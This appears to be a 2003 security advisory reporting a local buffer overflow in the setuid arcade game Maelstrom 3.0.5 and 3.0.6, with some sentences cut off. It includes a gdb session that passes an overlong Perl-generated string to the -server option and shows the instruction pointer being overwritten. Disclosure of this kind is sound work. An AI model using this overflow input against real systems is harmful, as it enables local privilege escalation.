[UNIX] Maelstrom Vulnerable to a Local Buffer Overflow

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Date: 05/18/03

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      Maelstrom Vulnerable to a Local Buffer Overflow


     <http://www.devolution.com/~slouken/Maelstrom/> Maelstrom is an arcade
    game. There is a buffer overflow vulnerability in Maelstrom which allow
    local attacker arbitrary code execution. Exploitation of the vulnerability
    will allow users to gain elevated privileges (as the program is setuid


    Vulnerable systems:
     * Maelstrom 3.0.6
     * Maelstrom 3.0.5

    [lucae@linux]$ gdb /usr/bin/Maelstrom

    GNU gdb 5.2.1-2mdk (Mandrake Linux)
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    This GDB was configured as "i586-mandrake-linux-gnu"...

    (gdb) set args -server 2@`perl -e 'print "ABCD" x 9999'`
    (gdb) r

    Starting program: /usr/bin/Maelstrom -server 2@`perl -e 'print "ABCD" x
    Couldn't resolve host name for ABCDABC......ABCD

    Program received signal SIGSEGV, Segmentation fault.
    0x41444342 in ?? ()

    (gdb) Quit


    The information has been provided by <mailto:luca.ercoli@inwind.it> Luca


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